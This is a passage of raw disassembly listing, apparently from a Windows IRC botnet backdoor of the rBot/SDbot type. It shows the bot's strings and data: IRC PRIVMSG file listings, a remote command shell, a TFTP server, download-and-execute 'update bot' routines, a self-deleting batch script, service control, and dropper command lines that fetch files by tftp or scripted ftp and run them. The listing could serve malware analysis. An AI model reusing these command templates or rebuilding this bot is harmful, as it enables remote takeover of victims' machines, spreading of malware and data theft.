BORDER="0">',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E18A+F7o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E18A+12Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40E18A+147o aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E18A+1C0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 a__ db '..',0 ; DATA XREF: sub_40E18A+232o align 4 a__0: ; DATA XREF: sub_40E18A+24Do unicode 0, <.>,0 aPm_0 db 'PM',0 ; DATA XREF: sub_40E18A+285o align 10h aAm db 'AM',0 ; DATA XREF: sub_40E18A+290o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40E18A+2BAo aS_22 db '<%s>',0 ; DATA XREF: sub_40E18A+2E4o align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40E18A+30Eo align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E18A+330o db '<TD WIDTH="%d"><A HREF="',0 align 4 aSS_2 db '%s%s/',0 ; DATA XREF: sub_40E18A+374o align 10h aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40E18A+3BBo align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40E18A:loc_40E54Co align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40E18A+401o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aS_23 db '<%s>',0 ; DATA XREF: sub_40E18A+413o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40E18A+434o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40E18A+471o align 10h aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E18A+486o db '<TD WIDTH="%d"><A HREF="',0 align 10h aSS_3 db '%s%s',0 ; DATA XREF: sub_40E18A+4CAo align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40E18A+511o align 4 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40E18A:loc_40E6A2o align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40E18A+561o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40E18A+589o align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40E18A+618o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40E18A+633o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40E18A+64Eo align 4 aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40E8F7+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_44121C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0040EAD3o aClientConnecti db '- client connection from %s:%d.',0 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:0040EB2Bo dword_441260 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0040EB86o aServerFailed_0 db '- server failed, returned %d',0 align 4 dword_44128C dd 234032Dh, 69646572h, 74636572h, 202D0302h, 65696C43h ; DATA XREF: ___:0040ECACo dd 6320746Eh, 656E6E6Fh, 6F697463h, 7266206Eh, 49206D6Fh dd 25203A50h, 64253A73h, 6553202Ch, 72657672h, 72687420h dd 3A646165h, 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_22 db 'Failed to start client thread, error: <%d>.',0 unk_441310 db 2Dh ; - ; DATA XREF: ___:0040EE35o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_0 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_441354 db 2Dh ; - ; DATA XREF: ___:0040EEFEo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_23 db 'Failed to start connection thread, error: <%d>.',0 unk_441394 db 2Dh ; - ; DATA XREF: ___:0040F0B9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 10h aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:0040F14Ao align 4 unk_4413D4 db 2Dh ; - ; DATA XREF: ___:0040F17Ao db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 unk_4413FC db 2Dh ; - ; DATA XREF: ___:0040F19Ao db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 4 unk_441428 db 2Dh ; - ; DATA XREF: ___:0040F1C1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_441454 db 2Dh ; - ; DATA XREF: sub_40F1DD:loc_40F222o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 10h dword_441480 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_40F237+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 5357203Ah, 61745341h, 70757472h, 203A2928h, 3E64253Ch dd 2Eh, 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h dd 6820432Dh, 6C646E61h, 202C7265h, 6F727265h, 3C203A72h dd 2E3E6425h, 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aReadyAndWaitin db '- Ready and waiting for incoming connections.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aClientConnec_1 db '- Client connection from IP: %s:%d, Server thread: %d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_24 db '- Failed to start client thread, error: <%d>.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorServerFai db '- Error: server failed, returned: <%d>.',0 align 4 unk_441654 db 2Dh ; - ; DATA XREF: sub_40F4EE+59o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_44169C db 2Dh ; - ; DATA XREF: sub_40F4EE+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_4416E4 db 2Dh ; - ; DATA XREF: sub_40F4EE+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_441718 db 2Dh ; - ; DATA XREF: sub_40F63F+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_441758 db 2Dh ; - ; DATA XREF: sub_40F63F+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_2 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_441798 db 2Dh ; - ; DATA XREF: sub_40F63F+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_40F738+8Co align 4 unk_4417C8 db 2Dh ; - ; DATA XREF: sub_40F738+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 10h dword_441800 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_40F811+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6553202Dh, 72657672h dd 61747320h, 64657472h, 3A6E6F20h, 3A732520h, 2E6425h dd 234032Dh, 6B636F73h, 3023473h, 6C43202Dh, 746E6569h dd 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h dd 3A732520h, 202C6425h, 76726553h, 74207265h, 61657268h dd 25203A64h, 2E64h, 234032Dh, 6B636F73h, 3023473h, 6146202Dh dd 64656C69h, 206F7420h, 72617473h, 6C632074h, 746E6569h dd 72687420h, 2C646165h, 72726520h, 203A726Fh, 3E64253Ch dd 2Eh, 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 7541202Dh, 6E656874h dd 61636974h, 6E6F6974h, 69616620h, 2E64656Ch, 6D655220h dd 2065746Fh, 72657375h, 203A6469h, 21207325h, 7325203Dh dd 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 6F206F74h, 206E6570h, 6B636F73h dd 29287465h, 6572202Ch, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 6574636Fh, 74h, 70746674h, 72452064h dd 3A726F72h, 636F7320h, 2874656Bh, 61662029h, 64656C69h dd 6572202Ch, 6E727574h, 203A6465h, 3E64253Ch, 2Eh, 6272h dd 7466742Dh, 202D6470h, 6C696146h, 74206465h, 706F206Fh dd 66206E65h, 3A656C69h, 2E732520h, 0 aTftpdSendingDa db '-tftpd- sending data packets to %s',0 align 10h aTftpdFileSentT db '-tftpd- file sent to %s',0 dd 4000500h, 7868746Bh, 0 dword_441A84 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_4104DF+10o dword_441A98 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_4104DF+35o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_410557+60o align 10h dword_441AD0 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: ___:00410613o dword_441ADC dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_410694+20o dword_441AF0 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_410694:loc_4106C9o dword_441B04 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:00410746o dd 676E6974h, 0 dword_441B20 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:004107E3o dd 6574656Ch, 0 dd 234032Dh, 2636364h, 66202D03h, 656C6961h, 6F742064h dd 65706F20h, 6F73206Eh, 74656B63h, 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 10h dw 0Ah unicode 0, <>,0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 unk_441BC8 db 2Dh ; - ; DATA XREF: ___:00410AC1o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_3 db '- failed to create socket',0 align 4 unk_441BEC db 2Dh ; - ; DATA XREF: ___:00410AFFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_441C10 db 2Dh ; - ; DATA XREF: ___:00410B7Ao db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 unk_441C34 db 2Dh ; - ; DATA XREF: ___:00410BA4o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 dword_441C54 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00410BE7o dd 169h dword_441C6C dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00410C48o dd 74756Fh unk_441C84 db 2Dh ; - ; DATA XREF: ___:00410C7Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_441CA8 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:00410DE8o dd 726F72h dword_441CC0 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:00410DF9o dd 726F72h unk_441CD8 db 2Dh ; - ; DATA XREF: ___:00410D77o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 aSS_9 db '%s%s',0 ; DATA XREF: ___:00410E76o align 4 unk_441D0C db 2Dh ; - ; DATA XREF: ___:00410EA5o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 aAB db 'a+b',0 ; DATA XREF: ___:00410EB9o unk_441D40 db 2Dh ; - ; DATA XREF: ___:00410ECDo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 unk_441D6C db 2Dh ; - ; DATA XREF: ___:00410EEDo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 dword_441D8C dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:00410F78o dd 726F72h unk_441DA4 db 2Dh ; - ; DATA XREF: ___:00410FF1o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 10h unk_441DD0 db 2Dh ; - ; DATA XREF: ___:004110D4o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 unk_441DF8 db 2Dh ; - ; DATA XREF: ___:004111E0o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 10h unk_441E20 db 2Dh ; - ; DATA XREF: ___:004111F2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_441E48 db 2Dh ; - ; DATA XREF: ___:00411235o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_441E74 db 2Dh ; - ; DATA XREF: ___:004112BFo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_441E9C db 2Dh ; - ; DATA XREF: ___:0041133Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 aOpen_2 db 'open',0 ; DATA XREF: ___:00411393o align 4 dword_441EDC dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:004113B5o dd 25206465h, 73h unk_441EF8 db 2Dh ; - ; DATA XREF: ___:00411426o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 unk_441F3C db 2Dh ; - ; DATA XREF: ___:004114E2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 10h unk_441F70 db 2Dh ; - ; DATA XREF: ___:004114F0o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 aUnknown db 'Unknown',0 ; DATA XREF: sub_411605:loc_411648o aInvalid db 'Invalid',0 ; DATA XREF: sub_411605:loc_411642o aDisk db 'Disk',0 ; DATA XREF: sub_411605:loc_41163Co align 4 aNetwork db 'Network',0 ; DATA XREF: sub_411605:loc_411636o aCdrom db 'Cdrom',0 ; DATA XREF: sub_411605:loc_411630o align 4 off_441FC4 dd offset word_4D4152 ; DATA XREF: sub_411605:loc_41162Ao dword_441FC8 dd 3Fh ; DATA XREF: sub_411605+1Fo aFailed db 'failed',0 ; DATA XREF: sub_411696+E0o align 4 aFailed_0 db 'failed',0 ; DATA XREF: sub_411696+F1o align 4 aFailed_1 db 'failed',0 ; DATA XREF: sub_411696+102o align 4 aSkb db '%sKB',0 ; DATA XREF: sub_411696+70o align 4 aSkb_0 db '%sKB',0 ; DATA XREF: sub_411696+9Bo align 4 aSkb_1 db '%sKB',0 ; DATA XREF: sub_411696+C6o align 4 aFailed_2 db 'failed',0 ; DATA XREF: sub_4117BA+3Bo align 4 unk_442004 db 2Dh ; - ; DATA XREF: sub_4117BA+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 unk_442040 db 2Dh ; - ; DATA XREF: sub_4117BA+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 off_44207C dd offset byte_5C3A41 ; DATA XREF: sub_41188C:loc_4118D1o dword_442080 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_411949+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4420CC dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_411949+E3o ; --------------------------------------------------------------------------- loc_4420E8: ; DATA XREF: sub_411949+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_4420FC dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_411949+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_411D15+72o align 4 aMirc_2 db 'mIRC',0 ; DATA XREF: sub_411DDA+5o align 4 aMirc_3 db 'mIRC',0 ; DATA XREF: sub_411DDA+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_411E5F+1Co align 4 aSS_4 db '%s %s',0 ; DATA XREF: ___:00411F45o align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_411F81+2o aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_411FA3+48o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_411FA3+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_411FA3+140o align 4 dword_4421C8 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_41212B+5Co dd 65726165h, 64h unk_4421E4 db 2Dh ; - ; DATA XREF: sub_41212B+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 unk_44220C db 2Dh ; - ; DATA XREF: sub_41212B+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: sub_4121EE+9Do aEchoOpenSDOE_1 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu' ; DATA XREF: sub_4121EE+C6o db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0 aNetapi32_dll_0 db 'netapi32.dll',0 ; DATA XREF: ___:00412376o align 10h aNetmessagebu_0 db 'NetMessageBufferSend',0 ; DATA XREF: ___:00412383o align 4 off_4422D8 dd offset dword_44232C ; DATA XREF: sub_41243B+6Dr ; sub_41281F+50r ... off_4422DC dd offset aAdded ; DATA XREF: sub_41243B+2Dr ; sub_41281F+82r ... ; "Added" dword_4422E0 dd 0 ; DATA XREF: sub_41243B+18r dd offset aDelete_1 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 442378h, 442380h, 2, 442388h, 442394h, 3 dword_44232C dd 646441h ; DATA XREF: ___:off_4422D8o aAdded db 'Added',0 ; DATA XREF: ___:off_4422DCo align 4 aDelete_1 db 'Delete',0 ; DATA XREF: ___:004422E4o align 10h aDeleted db 'Deleted',0 ; DATA XREF: ___:004422E8o aList_1 db 'List',0 ; DATA XREF: ___:004422F0o align 10h aListed db 'Listed',0 ; DATA XREF: ___:004422F4o align 4 aStart_0 db 'Start',0 ; DATA XREF: ___:004422FCo align 10h aStarted db 'Started',0 ; DATA XREF: ___:00442300o aStop_0 db 'Stop',0 ; DATA XREF: ___:00442308o align 10h aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0044230Co aPause_0 db 'Pause',0 align 10h aPaused db 'Paused',0 align 4 aContinue_0 db 'Continue',0 align 4 aContinued db 'Continued',0 align 10h unk_4423A0 db 2Dh ; - ; DATA XREF: sub_41243B+38o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 unk_4423BC db 2Dh ; - ; DATA XREF: sub_41243B+55o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_4423E8 db 2Dh ; - ; DATA XREF: sub_41243B+74o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_412564:loc_41263Do align 4 aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_412564:loc_4125BEo aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_412564+3Co align 10h aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_412564:loc_4125B4o align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_412564:loc_4125C8o aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_412564:loc_412612o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_412564+8Fo aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_412564:loc_412644o db 'marked for deletion.',0 align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_412564:loc_41264Bo align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_412564:loc_412652o align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_412564:loc_412659o align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_412564:loc_412660o db ' correct access rights.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_412564:loc_412667o align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_412564:loc_4125FDo align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_412564:loc_412604o db 'tServiceCtrlDispatcher.',0 align 4 aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_412564:loc_4125D2o db 'dependent on it.',0 align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_412564:loc_4125AAo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_412564:loc_41260Bo db ' the service.',0 align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_412564:loc_41266Eo db 'the state of the service.',0 align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_412564:loc_412675o align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_412564:loc_41267Co align 4 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412564+12Co align 4 aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_4126E2+25o align 4 aStopped db ' Stopped',0 ; DATA XREF: sub_4126E2:loc_4127AEo aStarting db ' Starting',0 ; DATA XREF: sub_4126E2:loc_4127A7o aStoping db ' Stoping',0 ; DATA XREF: sub_4126E2:loc_4127A0o aRunning db ' Running',0 ; DATA XREF: sub_4126E2:loc_412799o aContinuing db ' Continuing',0 ; DATA XREF: sub_4126E2:loc_412792o aPausing db ' Pausing',0 ; DATA XREF: sub_4126E2:loc_41278Bo aPaused_0 db ' Paused',0 ; DATA XREF: sub_4126E2:loc_412784o aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_4126E2+9Bo aSSS_1 db '%s: %s (%s)',0 ; DATA XREF: sub_4126E2+EBo dword_442944 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_41281F+89o dd 73252720h, 27h unk_442960 db 2Dh ; - ; DATA XREF: sub_41281F+57o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 